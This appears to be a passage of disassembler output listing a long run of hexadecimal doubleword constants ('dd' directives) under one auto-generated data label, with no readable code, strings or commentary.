dd 789187FDh, 0A2202182h, 0F1CFC493h, 72AFED0h, 0C1676959h
dd 0F8C9605Bh, 8600A405h, 320C6531h, 9C4F738h, 4C3BB9EBh
dd 0C1356080h, 0CE0E282Eh, 2606556Bh, 7E3391h, 0A9F3E198h
dd 37FC3C30h, 8776C27Ah, 0C1408949h, 0F6CCA84h, 167230h
dd 2BE13DEDh, 4E04534Dh, 0C3BB2300h, 0CD48514h, 0B9931EF2h
dd 0CB758032h, 9D6B512Fh, 0F508C0AFh, 41630002h, 882C0930h
dd 8A489F7Ah, 61D90000h, 0E514540Eh, 0E4A30059h, 5E2EBDA8h
dd 0D424C9DAh, 488084E7h, 17CD8ADCh, 2BC30059h, 0EDC0CB83h
dd 0F8780F9Ch, 0ACA2A829h, 0A43F3422h, 0D80EAA37h, 397B110Ch
dd 1AA7889h, 77AB0C91h, 9E920582h, 0F3009420h, 0D7DB52EDh
dd 3EE73B58h, 8D040849h, 906E8850h, 25037954h, 0CD09B815h
dd 5BC300A4h, 4CD1509Ch, 0F84F0017h, 7D460880h, 5D0A18B3h
dd 500283ABh, 8601E428h, 0DA0CA7CCh, 88F01CF0h, 6DFF0506h
dd 80ED36D6h, 2230BDDh, 2BDBEA00h, 0C18B356Bh, 9EFE0C48h
dd 0FB887CA0h, 1A16AF07h, 0A5D2870Dh, 3AE84545h, 0E108B299h
dd 1940DAFCh, 7609D884h, 91D79CFDh, 432C1A0h, 733B8781h
dd 6410879Ah, 46C0AE37h, 0B1AE9AAh, 0BCA7098Ch, 543FD020h
dd 2300A0A4h, 71E63CC5h, 6AA03F0h, 82C23614h, 0F3008198h
dd 0D3118B76h, 9A08627h, 44ECA38Dh, 0A4134816h, 0F8406A7Ch
dd 0CA858359h, 79F0A9D0h, 213C4E10h, 0DC283301h, 3D1548B0h
dd 80EDE0h, 0AAC5AD4h, 0BFFB0F08h, 8F4AC215h, 80D23F44h
dd 0E0B3B0C0h, 7F94B77h, 1463F491h, 2B042055h, 130008DDh
dd 79E92A93h, 0C22F10h, 0E21281ECh, 1AF9E70h, 935A9F18h
dd 989CA750h, 0D109A76h, 3ADED556h, 1AB3C048h, 3345B200h
dd 9A405CB6h, 32200EB4h, 0DBA0356Eh, 0E05FF391h, 8124FEAh
dd 0D202737Ch, 0E3A0F22Ch, 9FCFB030h, 8CB907FBh, 0C3595758h
dd 9E80DD84h, 0C00009BBh, 3CDE28F3h, 66A15Fh, 8040D9F2h
dd 0F73324E9h, 81278307h, 4F00D17Eh, 755ECD28h, 0D3FF048Bh
dd 80B941B1h, 0A2EB2E7h, 8E631400h, 0F6E390D7h, 6C09004Eh
dd 0D08C5BF8h, 0F114BF1Eh, 38B0ECB9h, 0EE32004Ch, 0F0139F52h
dd 0BB4305CBh, 2026650h, 0EB38E18Ch, 17A1A00h, 762F078Ch
dd 12A8A04Fh, 23CA8727h, 71CD1060h, 90B6D640h, 0AEEC24h
dd 0A824B04Eh, 7C458E7Ah, 57C85603h, 0D8396055h, 23AA09h
dd 7658F548h, 2B052417h, 5756DC00h, 0F82236BEh, 3D5400C8h
dd 0ADFC166Bh, 0B9005981h, 0C26F8719h, 1E539E7h, 0ED4B4456h
dd 20E83615h, 64008D6Bh, 0F829DA4Dh, 28469F7h, 0ECCF207Ah
dd 48E06BEAh, 65008BE5h, 1D8998DFh, 2713D1h, 369B3C97h
dd 222D666h, 0D1E0092Eh, 0F972FB01h, 6020467Ah, 86000ABh
dd 8CF8108Fh, 3A034504h, 41D02280h, 0FEE7F863h, 7D903E88h
dd 0F8D9FA03h, 0DCB85035h, 0C1006DEBh, 38A47824h, 3BC3DFBh
dd 0A040D52Bh, 34C76F16h, 0C894A1D0h, 0E00004E7h, 0F9971DB8h
dd 0DAEB3Fh, 0FE74C5E9h, 356D8AACh, 58008C90h, 0E75A77D2h
dd 0C932F09h, 0E2E068C8h, 0C2053B49h, 0B330BF41h, 6727D491h
dd 48810832h, 304D07E1h, 18C59FD3h, 0A8C0F863h, 7288E611h
dd 0D6523AEDh, 0E5AB3984h, 2D80C80Fh, 0CE9A0100h, 30186B1Dh
dd 0F45F4D19h, 0CC05CF1Ch, 8C50991Bh, 2FD23E00h, 3FF6D315h
dd 5CF30068h, 1275AE46h, 0A94C5DD9h, 4092C848h, 413CF333h
dd 0A0398BBh, 0DBC93020h, 17EE98B1h, 32DF01Bh, 0CD52D93Fh
dd 28019E33h, 0EA6CF469h, 98700C70h, 0D144059Fh, 27DB58DAh
dd 17E7A0B4h, 70993BE1h, 0ED805F49h, 57DEB5E8h, 0BCE2D700h
dd 0CF4250ABh, 5F912AC3h, 558F063Ch, 4133D586h, 0A000E571h
dd 0B52105C2h, 0AF89FCh, 0B834C875h, 0E184393Ch, 0F2BBC0A8h
dd 2AEE5600h, 370CCFA4h, 3D2D000Bh, 4E3B214Ah, 0C8B27D98h
dd 80D6E03Ch, 11A54941h, 0E235AF05h, 3FD50036h, 543DA8DEh
dd 0CB19CFD6h, 1890B81h, 0A05B9943h, 7F5914F2h, 0F88463E1h
dd 5800BDD4h, 0D7959F3Eh, 25B8EFFh, 8CD80644h, 8A60DBEFh
dd 0B84C66F7h, 8DED0114h, 1DFC62C2h, 4C193320h, 5C1DBD11h
dd 736A824Ah, 0D4C039EAh, 373C013Ah, 7F3104EFh, 90A3CA57h
dd 2C449811h, 45C054C4h, 3467204h, 5E881C50h, 74E1B822h
dd 0C4E43058h, 58D8DA59h, 0DDB93C60h, 1A390204h, 0C4849FC6h
dd 6FA1023Ch, 20ADB4EEh, 772FFC80h, 5C619B67h, 8BCB0469h
dd 92C890D8h, 0B7590054h, 4C6E79AEh, 0C9526376h, 0C4A42618h
dd 2EE0583Eh, 643024C8h, 1F5FFE4Bh, 4CD05619h, 4668B55Dh
dd 4954F700h, 28C17AF1h, 400100F8h, 657542F6h, 0D900C672h
dd 0EC1BC97Dh, 7A358B33h, 54747D8Ch, 17BCD849h, 16B9BDF3h
dd 9E490096h, 0AE335195h, 0FC8C4009h, 246C070Eh, 0D8CBE2E3h
dd 5B94A1h, 0AFCFEC76h, 315F3DFAh, 8248B400h, 36EFC22Ch
dd 74290A39h, 0E43398h, 5492028Bh, 12004917h, 0A05C9DDBh
dd 7871AF1Bh, 73E42A97h, 7B862C8Ch, 0AE0B8D84h, 2424FDA1h
dd 9D4DC3E8h, 5EED1628h, 0AA9EF01Dh, 23BE0880h, 839CDBh
dd 0A63F8BA5h, 5C99C911h, 3E10E700h, 697574E1h, 0D1E20048h
dd 0B6F2E2Ch, 40083F0h, 0B1FDA9D0h, 87963Fh, 730DEFE2h
dd 68B2A219h, 0D1ECA509h, 9020034Dh, 0C2BEB03Ch, 0A9340101h
dd 59A03E29h, 9D25602Eh, 0DAF6AB16h, 52C60C1h, 81C3E543h
dd 9140BC96h, 0B35417h, 63094FA3h, 12ADCF01h, 0DE2FD504h
dd 18C09667h, 0EE49D6h, 6AC15111h, 9AFF1478h, 0C02584A0h
dd 0D101420Fh, 65B1206Dh, 13D4352h, 0F9D5A1C2h, 0E0F07F1Ah
dd 952C4801h, 0DA00C749h, 1C2FE03Ch, 0AFF71E70h, 18C900ADh
dd 15FED859h, 503E8B77h, 92061D0Eh, 3A1C8500h, 3B66DA62h
dd 1B3B51A7h, 8656B500h, 1A8F265h, 9693CD00h, 0A6E8900Bh
dd 71947AC8h, 9ED9141Fh, 0DC00D4ACh, 0BE1A75F0h, 2FF85069h
dd 0ACDF6F24h, 6E495F01h, 0AB700C28h, 0D6030076h, 7DFB4F30h
dd 0A71D7383h, 26803CAAh, 0E0D0293Eh, 12A0A0B0h, 610E3C34h
dd 994A2700h
dd 7F7185E8h, 8AC0BB60h, 6225Bh, 0D3659221h, 0A783E78Bh
dd 3E01AFECh, 3D50958Fh, 0A4417CA6h, 0CFC0BF6Dh, 693100AEh
dd 52DD322Dh, 0CE26508Eh, 5E1EFFABh, 0DBC03C9Ch, 47A653F5h
dd 9B2200E8h, 1E8EAA7Eh, 3000B5FCh, 4B72ED7Ah, 0F8701534h
dd 0D5DA00F2h, 730513B2h, 0ECE0C120h, 0F1398702h, 41C7D4F4h
dd 6BD8966Ah, 362600C9h, 88F8DE2Eh, 0E4004234h, 0AE7DA66Fh
dd 50306A8Fh, 0B3BC42Bh, 17D36882h, 2A6BD480h, 2F07DEF9h
dd 0BF68109h, 20A037C0h, 389A0027h, 56793947h, 1F0FA5DAh
dd 13758C70h, 99DBC07h, 9C813895h, 31F40B24h, 0B83D03D6h
dd 0A2185CEEh, 91507CD8h, 0C32CCA00h, 7DF90D02h, 203500FAh
dd 4F5C584Eh, 0E40041A5h, 3AC8386Dh, 0F5C494h, 0E95B6E69h
dd 0F483AEF2h, 20D0CC07h, 0BCA0392Eh, 5C3246D3h, 0E67D4923h
dd 6C510008h, 986542F3h, 730A8F67h, 0E4BA46D7h, 0AAE8A903h
dd 0AFA0E79Ah, 2C30D52h, 45EB440Fh, 4FC0C5FAh, 13009319h
dd 0E0696811h, 7307AFh, 4AB9CF71h, 0D02C0E79h, 319F4500h
dd 50AE528Eh, 93A03AD2h, 5703448Eh, 80CC1D52h, 80C95D36h
dd 1D004A4Ch, 236B4766h, 0DBC4D2h, 656CED67h, 4B73C181h
dd 0AA83F501h, 0FD5CCE39h, 0F84A6220h, 8E990069h, 0AC2B17DBh
dd 50006562h, 689BF8DFh, 0FA3187h, 2A6F188Fh, 304BFCCh
dd 0DD26B4FCh, 80387098h, 0F0FF2FCFh, 0D1E802h, 5B0B53E7h
dd 62C5D5F7h, 120550F0h, 0C1EBDB70h, 511BFCC0h, 72C20114h
dd 0C86CAFCh, 4818B8C3h, 0C9580003h, 7D660C8h, 969648EEh
dd 0F7008D3Eh, 46D85357h, 147B623Bh, 48DECA3Eh, 0C42902D4h
dd 40AA73EAh, 68A38Ch, 4FCF678Ah, 9E56270Ch, 0EEA9E300h
dd 73C9D1ABh, 717B006Dh, 0BB8CE40Dh, 92FA5758h, 0EAD7A800h
dd 0A76877Eh, 0AA2E3099h, 78EB93A2h, 3FBE3100h, 915AC33Eh
dd 21A03AD4h, 7D879580h, 269BC457h, 1C378B4Ch, 0E101F520h
dd 0EAA6CF09h, 0D42DFCh, 0D847D650h, 0C79D0791h, 30761607h
dd 3E185A0h, 60ECB699h, 73AA0038h, 0C91EA6D0h, 68E40BEFh
dd 834A7000h, 0BD5CDC5Fh, 530A0B6Bh, 0ECA409EAh, 30CD4035h
dd 92A51Dh, 0FEC97750h, 565D9671h, 7310A707h, 99C0C837h
dd 8CA20Bh, 499DE86Eh, 0CAB06DA6h, 30E93F00h, 7C1D4FDh
dd 6FE70090h, 67A60D69h, 7138BBA1h, 356B003Ch, 0A923C331h
dd 418F2CD2h, 78AB0333h, 0A8C8CC3Eh, 5F46E82h, 0F1382600h
dd 0CFAF578Bh, 3FD65CF0h, 0E11CB102h, 0C4F0B0CAh, 2D04361Ch
dd 9C40BC16h, 4894FA2Eh, 520303A3h, 6A3FCE5Fh, 1D78CB88h
dd 174AF90Eh, 6BA7C0FAh, 0BA76E87Eh, 8ADA000Ch, 0A626D25Fh
dd 0FF0065D5h, 80E65921h, 98B2D695h, 93E400AAh, 8BABA9E8h
dd 0DC9C39C0h, 4DA48F80h, 0C92EC3h, 82665BCFh, 0B35E80D8h
dd 892C5873h, 0D4809CA3h, 0E5BD46CDh, 3A937DFEh, 0B313FDC4h
dd 876805C3h, 0E1D0D0B0h, 83026081h, 37CBAEF1h, 0C6840A8h
dd 751CF686h, 3F7102FAh, 9EFC2690h, 0BC604FE2h, 0AE67F038h
dd 0E250B0DEh, 6CDC8B8h, 0EAECBC20h, 5703807Bh, 4EFE6690h
dd 60A0C80Ch, 67DD008Fh, 0C896974Dh, 40C0F352h, 7A7985B7h
dd 0D630FB71h, 1CF800F7h, 322862B5h, 0EA1CA16Ah, 0FC051CAh
dd 7316A705h, 0CEC1007Dh, 7752341h, 7F05DFFDh, 3C9B017Bh
dd 6FC14C0h, 3A7269Ch, 4339005Fh, 14A161D4h, 0B21A9207h
dd 9CA01812h, 0D85772h, 0FDE46C40h, 0D18F3BFAh, 0ABC69F02h
dd 0A744E5A1h, 0C64F98BCh, 14110E3Fh, 98CEB822h, 8973D860h
dd 28E8AEE9h, 9D20D562h, 0AD6DC0BFh, 985C01EBh, 0EB7C73Eh
dd 6C408C10h, 0EA04297Eh, 4E4500E5h, 0A5FE65B5h, 9600983Ch
dd 4030BB15h, 3D79539Ch, 9000DDD1h, 41686B54h, 51F74687h
dd 640AA3E0h, 0AF00BF38h, 0EE1C030Eh, 61C82FAEh, 413130EDh
dd 0E3B98004h, 94C3C978h, 1B280024h, 47270EF8h, 6602FACh
dd 0B497FF31h, 2424FB6Ch, 1DBD3B64h, 56F05980h, 67A0BFA9h
dd 21DE15E8h, 0FE1DEA80h, 0B57DDEh, 0C7E1D0D8h, 263FBFC6h
dd 69BA5318h, 0FB4428h, 0F89FB7A6h, 2AC464D6h, 9E4D4E38h
dd 2DCE61DCh, 8C6589F4h, 9A31B3h, 0ECED077Dh, 0F4548167h
dd 0B96C6300h, 0F2EAAD58h, 0B66398EEh, 7BAC00C4h, 9BEDCDDAh
dd 7E68C301h, 0DD3AC5CFh, 15CD1CCh, 4C6320Ch, 9F73B9B5h
dd 1200A461h, 0C850E154h, 0F6F91D40h, 0C05517C7h, 11B59F3Ch
dd 0A61E8EEEh, 62C01C33h, 180E35C8h, 60CB307Eh, 0CC19DA49h
dd 9D92109h, 25C01028h, 0FF7C156Bh, 1707DCEDh, 2094370Dh
dd 7BB563EEh, 3B82F707h, 1332F387h, 0D43C40F9h, 8F6102DBh
dd 6A0C9C98h, 3DF0F880h, 0C4FA4025h, 0C1C03377h, 0E347E557h
dd 0A57A001Ch, 7013AAF7h, 63037268h, 1DCDDD67h, 7A19A893h
dd 0F9D80502h, 393CC0C7h, 21954420h, 8062BC20h, 7EA6CAE1h
dd 0E61C27h, 0CDCEB725h, 35DCCB5Ah, 65B9B41Bh, 0D2EB8029h
dd 5B050097h, 0CFF97C0Ch, 0B13B8983h, 0DBCE0049h, 4D04C49Bh
dd 0D83303C6h, 24DA3DE5h, 0E4B5ECA0h, 55647A00h, 0ACD9A301h
dd 13870074h, 2A44A73Fh, 0ACABDE29h, 26C09891h, 1DD10350h
dd 94D058DAh, 197C631h, 0FDF6EE8Ah, 0E82A8540h, 1DF61CA0h
dd 239AB702h, 81BF82FDh, 42613A94h, 41DA2081h, 0B0528CA9h
dd 67338E11h, 80E506C4h, 88B2BC6h, 0C47849h, 9033F1EBh
dd 7D0F197Eh, 63200B9h, 5372D9C2h, 29C07318h, 130B16B3h
dd 0D55F07DDh, 30373A67h, 145A6F77h, 6D0FDC01h, 1FC9B8Ch
dd 0F3B49440h, 175800F8h, 2FABD97Fh, 2890CB67h, 32972906h
dd 12E9B1A3h, 7E9D1A4h, 0E033625Dh, 0F9948D59h, 6329A972h
dd 0B418A438h, 14042831h, 80261F8Dh, 0FF0948C0h, 0B409944Ch
dd 0A00804A2h, 0A10EB31Ch, 1110636Fh, 0D1007E91h, 0CFC8C570h
dd 0F01DFD8h, 5F2EF6E0h, 0B6876180h, 0C0C3897Bh, 0F8CEC58Dh
dd 2695E5EAh, 12E411F2h, 3818E441h, 3E5CF500h, 8D035AB0h
dd 534D2883h, 2D2B0F80h, 564C13CBh, 40D79F0h, 8180460Eh
dd 484D404h, 3350D437h, 433DC466h, 27F2293h, 53333922h
dd 7CAE25F1h, 8D0F3424h, 0E1802230h, 50C97B0h, 3B537400h
dd 1ABAD699h, 0E8A11892h, 0E77AE10Fh, 0BBF3518h, 30AB8DF8h
dd 3CE01253h, 6504CBF5h, 43E49BFCh, 3E57C890h, 0F403D01h
dd 0F1744980h, 717B0827h, 8D26D903h, 2A213h, 8A25E740h
dd 7B16A6D2h, 8627EB03h, 0E0505F65h, 2CD49744h, 605C6CF4h
dd 37D70DDDh, 91AEE821h, 2442071Ah, 5D107BD0h, 694164h
dd 57A9654Bh, 13AEA111h, 3325D600h, 0A0E13D62h, 18945838h
dd 8F09B223h, 9430881Dh, 985B1826h, 0EBD0F4h, 0D9EA7641h
dd 5F11AFBDh, 7BA736C5h, 0DF028002h, 9F8C60D7h, 104C40A3h
dd 21B29100h, 2A414428h, 0C350C34Bh, 3A9771CCh, 3A9B00ACh
dd 0ADC6A6EEh, 5CCBBD00h, 25F533D2h, 841601CDh, 0E3F474D6h
dd 11204E3Ch, 6D86DFA9h, 1500B9A4h, 5EF01A0Ch, 17227A7h
dd 3431E5B5h, 552540ACh, 0DEF300A0h, 1D92BE69h, 71AFB900h
dd 605DB8ADh, 62F71DA2h, 5F5701B5h, 0E0721D0Bh, 3F7BCF4Bh
dd 68B88D95h, 96FA040Bh, 5F50381Fh, 46874005h, 0C664D409h
dd 0CD0029C6h, 4CB5E6ADh, 0FA5132D6h, 56904BAEh, 0A2F81424h
dd 0F185F31Eh, 0F41E4059h, 300A773h, 0BED3AA49h, 79C30E5Eh
dd 1D75012Fh, 0D8C5DF7Ch, 8776E486h, 824E80CBh, 1BBAF1D4h
dd 0E11812D8h, 98C93021h
dd 0C0B32198h, 833F1100h, 3A628B9Eh, 84750601h, 0A17C9178h
dd 52E2CC00h, 0AEF58313h, 0CD481759h, 557800DFh, 0BAEEE978h
dd 0B56044h, 0E4844F32h, 0DA3E8EA5h, 571C5BE8h, 1F49B4D9h
dd 0A08C89B5h, 0E439242Ch, 0F40E00B2h, 0A30ACFE2h, 0E60F6289h
dd 998738h, 0C5CE38Ah, 0A5BC0650h, 6961B7D4h, 7E85E039h
dd 16773504h, 0CCC8DFC1h, 25F1E2B2h, 0F4208AEEh, 1E91D5A2h
dd 0A0A1AD00h, 5B39D22Eh, 6A3C1FEBh, 0AA890046h, 0CF7E2C8Dh
dd 0F0ACAE29h, 2A888036h, 0E413A3h, 475D1248h, 0DD60173Bh
dd 22E48C39h, 99D0173h, 0AF8A86A3h, 19D3FC1Dh, 0B87B5800h
dd 5939848Ch, 37AE28A2h, 2A0D0130h, 0BFC864D9h, 0BD08D814h
dd 31800894h, 7B45C7DFh, 674A8Ah, 9A320FD4h, 90004096h
dd 730BB9CBh, 98E2D875h, 8D9135FCh, 0CCEC29h, 1B853F17h
dd 0CDE745h, 13B8D9E4h, 5D3C7B78h, 9883E10Bh, 7C10004Ch
dd 6087F3D6h, 0B0B248E5h, 6D05503Ch, 0B9EED2D5h, 81F4D40Eh
dd 5CD1CF7Dh, 65F79440h, 2390AA0Ch, 0E27F6FE4h, 0B14A1C7h
dd 2CD0D68Ah, 0AB93009Bh, 64E942BCh, 4A705855h, 877BB800h
dd 7EA08B13h, 5CC6FA2Dh, 502CDC9Fh, 0AA340047h, 250B0CDEh
dd 2F17E57Fh, 0A0307AE4h, 7EE0FB93h, 0A59A00C2h, 0B96A9503h
dd 0A60EAF15h, 0EA3C5F0Bh, 0DE80A87Ah, 0FFAB5E53h, 0CCC209E8h
dd 0BA0ACA41h, 0B9B60898h, 7D125D60h, 0C80821E1h, 34F88h
dd 0C311B6BAh, 0EA2570F2h, 47D0A0B9h, 7A8ADBh, 387429AAh
dd 13C2D973h, 59E40F73h, 7D0A6300h, 0A33CE92Dh, 7180BAF7h
dd 0BC2C00CFh, 0B260AF1Ah, 0D004B613h, 0C3595412h, 905A5980h
dd 2B7FCA9h, 0C199D786h, 5890B204h, 51081269h, 66C968E1h
dd 0BE00217Ch, 2B6E11CDh, 2C72239Fh, 41983787h, 10AEB7B0h
dd 0A79156h, 0D5CE50FEh, 81195AEFh, 3E122700h, 1697BDB3h
dd 11B17AEh, 5C080E6Dh, 0FEEF2FE0h, 0A20C686Bh, 58AC77F9h
dd 3D889191h, 45CB7400h, 2A3D1CDFh, 0F2B8F27Ch, 4DE1C01Dh
dd 4024DB89h, 8084A5C4h, 0F07EC9BFh, 1145B700h, 742AC254h
dd 0E5570983h, 50008223h, 71CA267Eh, 0F4882C61h, 1C39A456h
dd 954C0600h, 63EE3EF6h, 71B33D03h, 0C0F4A6D3h, 48529C2Ch
dd 0B4C154BCh, 0A999AEA0h, 0F4005808h, 0E8A2B2B3h, 0EFD492C6h
dd 68891083h, 2BA1A1DDh, 0A4384063h, 25F85AD8h, 0A10AD4BAh
dd 1CD52EDFh, 1421F996h, 18569C2Bh, 4C0D3610h, 0C436A149h
dd 0B0681141h, 0BC4F2678h, 0C8004F6Ch, 0C633C132h, 2753119h
dd 7AF987B0h, 0A2B4B850h, 8F589EF3h, 0E71F2137h, 81137899h
dd 854E7F61h, 7AF4E13Dh, 62BE2C1Fh, 0D0B81320h, 0EF487120h
dd 9FFB1D00h, 0DD8791CDh, 7DA1CF8Bh, 40297E2Dh, 36CCC1FCh
dd 88A8C048h, 125EC0BFh, 0E021E156h, 219698C7h, 110EB7A5h
dd 0A0A06C6Fh, 7D4B4704h, 30984557h, 60A276A8h, 4E001C52h
dd 71D1F1FCh, 242013h, 0B42B635Fh, 0E6A0CB8Ch, 242CC848h
dd 7F081C7Ch, 68910C76h, 460027C1h, 6F1283BDh, 2CF24A2Fh
dd 0B8A438Ch, 0B8C0DDB7h, 7C9AB278h, 0A32A14A6h, 9800A09Fh
dd 39D932Ch, 1229BD09h, 535AA1A4h, 38405410h, 0B79B09C1h
dd 8FD18087h, 5091630Bh, 0E04009C6h, 0E80E746h, 564EB06Dh
dd 5748BC60h, 347E6688h, 0A2396823h, 5077BF8h, 504A8906h
dd 0C60E351h, 752A060h, 69AF25C6h, 997302D3h, 7470BCD1h
dd 0C85186ACh, 4463ADh, 73E1B234h, 286824E5h, 0BC6F6Ah
dd 60F0D338h, 80D5502Bh, 64E44A09h, 0D9E4106Dh, 9DF055h
dd 0F612CF8Ch, 6D331AD6h, 8E1DF301h, 93F9FD8h, 2C689980h
dd 0A6D70885h, 431F1617h, 9C808C25h, 342DB36h, 7D097A1Ah
dd 991DFCC0h, 23B11EEh, 32627BAFh, 4F604065h, 0A58212E1h
dd 90F0C010h, 0EE80D950h, 0FCA818C4h, 0F43D4078h, 86627C06h
dd 6386BA7h, 0BB4AAEEEh, 3E1410C9h, 1E242097h, 73807AADh
dd 25D61684h, 0F4DD2995h, 0EB240018h, 17978256h, 3FB01D18h
dd 7B70D8C0h, 69F101B9h, 8BDC9DADh, 9EE8F435h, 0E057B000h
dd 0D33A8DD8h, 37CB0F8h, 5F68E249h, 0D7F89E50h, 350272B1h
dd 0D1C8E82Ah, 18B043A0h, 0F1CA6AB9h, 0DE28C25Bh, 3C809CE4h
dd 5F0C85D4h, 1176EEC3h, 0A5D91E44h, 0CE2100EFh, 8A5C4243h
dd 948000B6h, 485259DBh, 0AB35003Fh, 7B8D2532h, 7A0FE1F4h
dd 457D116h, 0A4807803h, 0B5E4B64h, 0D4D0831Fh, 0D210D824h
dd 0F8E0F040h, 6C4C5173h, 97958344h, 5401D09Dh, 5A0F2C0Ch
dd 0E7F402E9h, 0D0C41C99h, 0F7B78405h, 0A803A345h, 0DAE87572h
dd 6CEC1Ah, 2DB47DCDh, 0F7AD9D0Dh, 0C87BAC0Fh, 65168B2Eh
dd 290E250h, 1BDBBE18h, 0C8FFEFF3h, 0E86EBF89h, 983D064Fh
dd 60C1947Bh, 442600B4h, 3C0A5916h, 1B0C00CAh, 2D0B8302h
dd 2400368Bh, 220FE84Bh, 1F12E89h, 86CAD194h, 0D00A07E6h
dd 809781B2h, 55A25EFDh, 24BE00A0h, 8F231F1Ch, 6803353Bh
dd 47C52B90h, 0B022DBC7h, 20757Ah, 5FFA7841h, 2A53ACC2h
dd 0BC333C00h, 229FB68Bh, 1B483980h, 0B75A1Eh, 0B8BF8E56h
dd 5D6372FEh, 123FA968h, 0D02A08h, 2B109223h, 5733B4Ah
dd 986CFE00h, 59B56DA2h, 328000Fh, 40DA4777h, 99066EEEh
dd 2CC751B1h, 0E9E20719h, 0B6A0883Bh, 26005948h, 0C08CEB61h
dd 778A89h, 0F1566079h, 0AA589D71h, 0DDC1D500h, 0A8BF0E9Ah
dd 0D81B65C2h, 3D99043Ah, 467C8020h, 0EC70D15Eh, 20597630h
dd 0E43F8Fh, 255BAEFAh, 6560C06Ch, 8E064FF8h, 0FF38F41Fh
dd 5CBA9010h, 7A743D66h, 0F9A860B9h, 247FC20Bh, 75C7B8DEh
dd 70C15F5Bh, 3DC8F2B4h, 80286080h, 0E49FB5B0h, 9591E00h
dd 0ACCB15CCh, 713E00CDh, 0A188CDAh, 400BAB2h, 0A012BB92h
dd 30B93Ch, 404697E9h, 7E1A2ED4h, 4DDE2C00h, 0E339C736h
dd 199600D3h, 0C2CB4BC9h, 3400596Eh, 0CFDF01D8h, 0D580F8Fh
dd 0C1E685Ch, 0F049E058h, 18404532h, 0E8AA4313h, 0DC5780h
dd 2196A59Bh, 0B9069CCAh, 2F2E0F0Fh, 0C3876079h, 563452h
dd 0E7DCB2E4h, 49F3241h, 0D40F390Eh, 0FD4B2F58h, 0AB69BB00h
dd 12C6EDh, 0A0ADD17Ch, 0C2E45CFBh, 39374F30h, 92D907h
dd 9AC14711h, 0A1A7C778h, 0D8CFC918h, 0BD619h, 5877D795h
dd 0D10F949Eh, 26ED3Ah, 2A2304C1h, 0C0CDF2B7h, 4393EA11h
dd 0DB00E688h, 291EA40Ah, 6FBCFEBh, 6A3DCED6h, 0AE3CFEC4h
dd 30FC266Bh, 93513B00h, 0DE0D0Fh, 366312C5h, 0E8DC24A2h
dd 77CE4F00h, 44FC1FCFh, 5A7C0083h, 0E93CA680h, 6100DB58h
dd 0C7488AD3h, 3F93F2D8h, 0AF8050AEh, 0B2AA2267h, 9424F816h
dd 3200C2CCh, 29BE4ACh, 4FC6002Ch, 0D8AE6AF9h, 5701AF55h
dd 0E4E30B6Dh, 208C0497h, 2550F507h, 0A7330DE8h, 0D8271110h
dd 0E7BA8h, 4F128FBBh, 1C14468Ch, 0ED20FF60h, 35A810h
dd 9F408EEAh, 46F5B9F3h, 58C71A7Bh, 0C86031E8h, 6564CBFh
dd 7077996Ch, 331E70AEh, 0F64015C1h, 834C433Fh, 4B301851h
dd 9701218Bh, 95045690h, 1A7D6B70h, 2A1B3381h, 0F49DEAFCh
dd 4B8C187Eh, 71553094h, 5CF6FB00h, 9E23B030h, 7A08C62Fh
dd 3540206Ch, 0A0430F8Eh, 0A0DB782Ch, 9B6CF03Eh, 0B010A473h
dd 0C027BEh, 454E43A1h, 2DE0E61Eh, 37464C01h, 9871B828h
dd 0E060F1D0h, 9E1E0081h, 0C14FF3C7h, 4800F7C6h, 0B59A779Dh
dd 1F66482h, 0F615038h, 0F0CFF516h, 0C917E055h, 8200663Dh
dd 0D28E875Fh, 0CBFC1FBAh
dword_516448 dd 53A7007Eh, 0CC401A29h, 9000F1F0h, 0E21D164Ah, 0F877A6h
dd 0E476DFF5h, 748EE07Dh, 2C0BAA3Eh, 8100DF3Dh, 60728762h
dd 0A6550098h, 9752CCBDh, 3700C56Fh, 0A94D30A4h, 0EA7C676Dh
dd 0E06E7CEDh, 0C04501E8h, 0AA826350h, 1E98E02Dh, 38624200h
dd 696FFECDh, 575C5h, 0D396E18Fh, 11AE1BCFh, 0B05C58C3h
dd 0A0D868CDh, 0F3296304h, 672BDDE8h, 0FED880F9h, 0F17F59B9h
dd 298043Ch, 1D5A72CBh, 0C0616D8Fh, 361BDD16h, 0C28E0F69h
dd 7F80FC76h, 0E5F511F3h, 0E9B7831Dh, 0D605BD40h, 1029A98h
dd 290CF178h, 40CA2E69h, 0B43D2A28h, 0D1180B60h, 0C0BF164Dh
dd 0F9445399h, 10C2BD7Ch, 0B092692Dh, 6D52C60h, 3CF445EFh
dd 0CA20A80Ch, 3478E061h, 580D1Eh, 7D5EE690h, 56039E9Ah
dd 0E81094D5h, 0DB9101ECh, 0D28DAA13h, 9E7C42AFh, 0B7F384B3h
dd 85B57903h, 50BBDC2h, 2E1657F0h, 0D2844F14h, 80CE5564h
dd 30295E08h, 4884CA2Ah, 0E10B8D21h, 875A11F1h, 4302A449h
dd 0E38B83Eh, 4CFA80h, 7FF27EA3h, 7206989Fh, 9BF181C2h
dd 3FC42D1h, 988B3718h, 3F6602FCh, 82B04AB4h, 0BF306459h
dd 184E39C0h, 14906651h, 0CCE6C010h, 97AAB481h, 1048C3F2h
dd 40A300E7h, 0ADF796A8h, 0AA4C282Bh, 9928C084h, 0E94FA0FEh
dd 79FA09F4h, 7C3DDF00h, 674A8FE8h, 1180F926h, 1035A08Ah
dd 8CF816D8h, 8B78CB05h, 0D04F5126h, 60112404h, 7333090h
dd 0DC100A81h, 48A0264Fh, 0DD2707F8h, 906AA4ACh, 5AC00A00h
dd 4D947D18h, 0C0A2E298h, 3B2F0FA1h, 3C0052E3h, 79F1D164h
dd 231F980h, 0A581E469h, 68C08CB4h, 4FFAEDFBh, 8914B00h
dd 12E9AC10h, 4A60C599h, 54407822h, 3D948719h, 4048E468h
dd 529D01D2h, 0D378687Ch, 5A64207Dh, 304183Bh, 6726B755h
dd 2B99A897h, 2868929Bh, 90547E4Fh, 0EA4A0650h, 594B2B97h
dd 99E81FEAh, 0E33FA890h, 0A4B50C65h, 0FED8D04Ah, 0B1B660CAh
dd 8114E8D4h, 2A100F4Dh, 0EAA10C60h, 0FD199F6Dh, 6C0C0861h
dd 716EE40Ch, 9A523BDAh, 7F663B80h, 4CE322B3h, 518E9E03h
dd 0A023D0A2h, 39D368A9h, 4A007DD1h, 0B9ECC5F1h, 9900A767h
dd 3616E5F2h, 4D060E94h, 0CA267839h, 4157A44h, 5CA580FFh
dd 0CAF8B6C9h, 0D1203Eh, 324A468Dh, 7BBA7269h, 5DE60918h
dd 8480FD83h, 731944F7h, 1FAF3D06h, 422833D2h, 0BA911B6h
